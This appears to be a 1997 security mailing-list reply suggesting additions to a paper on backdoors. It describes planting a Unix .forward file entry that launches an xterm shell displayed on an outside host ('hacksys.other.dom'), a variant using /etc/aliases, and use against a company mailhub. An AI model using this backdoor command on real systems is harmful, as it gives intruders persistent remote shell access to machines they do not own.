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Re: Backdoor Paper
From: shipley () DIS ORG (Evil Pete)
Date: Mon, 25 Aug 1997 10:44:34 -0700
Here's a paper I wrote on backdoors. Feedback welcome.
you may want to add:
On Unix machines, placing commands into the .forward file was also
a common method of regaining access. For the account ``username''
a .forward file might be constructed as follows:
|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e /bin/sh"
permutations of this method include alteration of the systems mail
aliases file (most commonly located at /etc/aliases). Note that
this is a simple permutation, the more advanced can run a simple
script from the forward file that can take arbitrary commands via
stdin (after minor preprocessing).
PS: The above method is also useful gaining access a companies
mailhub (assuming there is a shared a home directory FS on
the client and server).